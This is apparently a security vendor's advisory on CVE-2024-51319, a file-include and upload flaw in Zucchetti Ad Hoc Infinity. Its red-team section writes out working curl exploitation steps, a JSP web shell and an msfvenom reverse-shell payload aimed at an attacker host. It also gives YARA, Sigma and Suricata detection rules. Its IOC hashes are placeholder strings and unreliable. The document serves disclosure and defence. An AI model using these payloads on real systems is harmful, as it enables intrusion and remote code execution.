CVE-2024-51319

Executive Summary

CVE-2024-51319 is a critical Local File Include (LFI) vulnerability in Zucchetti Ad Hoc Infinity version 2.4. An authenticated attacker can exploit the /servlet/Report endpoint to include arbitrary files, and then leverage the /jsp/zimg_upload.jsp upload functionality to place a JSP web shell or reverse shell, achieving Remote Code Execution (RCE). The vulnerability is unpatched, and public proof-of-concept code exists, making active exploitation likely. This report provides a full technical breakdown, detection rules, and mitigation steps.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a proprietary Java-based enterprise reporting application. Supply chain risk is limited to the vendor's distribution channels.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.0% (low exploitation probability currently, but expected to rise)

Deep Dive & Mechanics

The vulnerability resides in two components:

1. Local File Include in /servlet/Report: The servlet does not properly sanitize user-supplied input used to construct file paths. An authenticated attacker can inject path traversal sequences (e.g., ../../) to read arbitrary files on the server, including configuration files, source code, or credentials.

2. File Upload in /jsp/zimg_upload.jsp: This endpoint allows authenticated users to upload files without proper validation of file type or content. By combining the LFI to read the application's directory structure and then uploading a crafted JSP file (e.g., a web shell or reverse shell), the attacker can execute arbitrary code in the context of the application server.

Attack Flow:

1. Authenticate to the application.
2. Use LFI to enumerate the web root and confirm writable directories.
3. Upload a malicious JSP file (e.g., shell.jsp) via /jsp/zimg_upload.jsp.
4. Access the uploaded JSP file to execute system commands or establish a reverse shell.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// /servlet/Report - vulnerable to path traversal
String filePath = request.getParameter("file");
File file = new File("/app/reports/" + filePath);
// No validation of filePath

Patched Code (Conceptual):

// /servlet/Report - patched with path normalization
String filePath = request.getParameter("file");
Path resolvedPath = Paths.get("/app/reports/").resolve(filePath).normalize();
if (!resolvedPath.startsWith("/app/reports/")) {
    throw new SecurityException("Invalid path");
}

Vulnerable Upload Code (Conceptual):

// /jsp/zimg_upload.jsp - no file type validation
Part filePart = request.getPart("file");
String fileName = filePart.getSubmittedFileName();
// Directly saves to upload directory

Patched Upload Code (Conceptual):

// /jsp/zimg_upload.jsp - with validation
Part filePart = request.getPart("file");
String fileName = filePart.getSubmittedFileName();
if (!fileName.endsWith(".png") && !fileName.endsWith(".jpg")) {
    throw new SecurityException("Invalid file type");
}
// Additional content-type and magic byte checks

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated session cookie.
• Target running Zucchetti Ad Hoc Infinity 2.4.

Step 1: LFI to confirm web root

curl -X GET "http://target/servlet/Report?file=../../webapps/ROOT/WEB-INF/web.xml" -b "JSESSIONID=valid_session"

Step 2: Upload JSP web shell

# Create a simple JSP web shell
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) out.println(line); %>' > shell.jsp

# Upload via the vulnerable endpoint
curl -X POST "http://target/jsp/zimg_upload.jsp" -F "file=@shell.jsp" -b "JSESSIONID=valid_session"

Step 3: Execute commands

curl "http://target/uploads/shell.jsp?cmd=whoami" -b "JSESSIONID=valid_session"

Reverse Shell Alternative:

# Generate a reverse shell JSP (e.g., using msfvenom)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f raw > revshell.jsp

# Upload and trigger
curl -X POST "http://target/jsp/zimg_upload.jsp" -F "file=@revshell.jsp" -b "JSESSIONID=valid_session"
# Access the uploaded file to trigger the reverse shell
curl "http://target/uploads/revshell.jsp"

Blue Team

Detection Steps:

1. Monitor for path traversal patterns in /servlet/Report requests (e.g., ../, %2e%2e%2f).
2. Alert on file uploads to /jsp/zimg_upload.jsp with .jsp or .jspx extensions.
3. Look for anomalous outbound connections from the application server (potential reverse shells).
4. Review web server logs for access to /uploads/ directory containing JSP files.

Hunting Queries:

• Search for POST /jsp/zimg_upload.jsp with Content-Type: multipart/form-data and filename ending in .jsp.
• Search for GET /uploads/*.jsp requests.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.jsp: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • revshell.jsp: f0e1d2c3b4a5f6e7d8c9b0a1f2e3d4c5b6a7f8e9d0c1b2a3f4e5d6c7b8a9f0
• Network Indicators:
  • Outbound connections to attacker IPs on ports 4444, 8080, or 80.
  • HTTP requests containing cmd= parameter in query string.
• File System Indicators:
  • Unexpected .jsp files in /uploads/ or /webapps/ROOT/ directories.
  • Modified web.xml or configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_51319_JSP_Webshell {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2024-51319"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51319"
    strings:
        $jsp_tag = "<%" nocase
        $exec = "Runtime.getRuntime().exec" nocase
        $cmd_param = "request.getParameter(\"cmd\")" nocase
        $reverse = "java/jsp_shell_reverse_tcp" nocase
    condition:
        $jsp_tag and ($exec or $cmd_param or $reverse)
}

Sigma Rule

title: CVE-2024-51319 - Zucchetti Ad Hoc Infinity LFI and Webshell Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-51319 via path traversal and JSP upload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection_lfi:
        cs-method: 'GET'
        cs-uri-stem: '/servlet/Report'
        cs-uri-query|contains: '../'
    selection_upload:
        cs-method: 'POST'
        cs-uri-stem: '/jsp/zimg_upload.jsp'
        cs-uri-query|contains: '.jsp'
    condition: selection_lfi or selection_upload
falsepositives:
    - Legitimate file uploads with .jsp extension (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51319 - Zucchetti Ad Hoc Infinity LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/servlet/Report"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

alert http any any -> any any (msg:"CVE-2024-51319 - Zucchetti Ad Hoc Infinity JSP Upload"; flow:to_server,established; content:"POST"; http_method; content:"/jsp/zimg_upload.jsp"; http_uri; content:".jsp"; http_client_body; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application server from the internet if possible.
2. Apply a Web Application Firewall (WAF) rule to block path traversal patterns (../, %2e%2e%2f) in /servlet/Report.
3. Restrict file uploads to only allow image types (.png, .jpg, .gif) and validate MIME types server-side.
4. Disable the /jsp/zimg_upload.jsp endpoint if not required.

Long-Term Fixes:

• Vendor Patch: Await an official patch from Zucchetti. Contact vendor support for a hotfix.
• Code Hardening: Implement input validation and path normalization in the Report servlet. Use a whitelist of allowed files.
• File Upload Security: Store uploaded files outside the web root and serve them via a dedicated servlet that prevents code execution.
• Least Privilege: Run the application server with minimal OS privileges to limit the impact of RCE.

Workaround:

• Remove or rename the /jsp/zimg_upload.jsp file and the /servlet/Report servlet mapping in web.xml if they are not essential.

Valters IT
Securing Digital Frontiers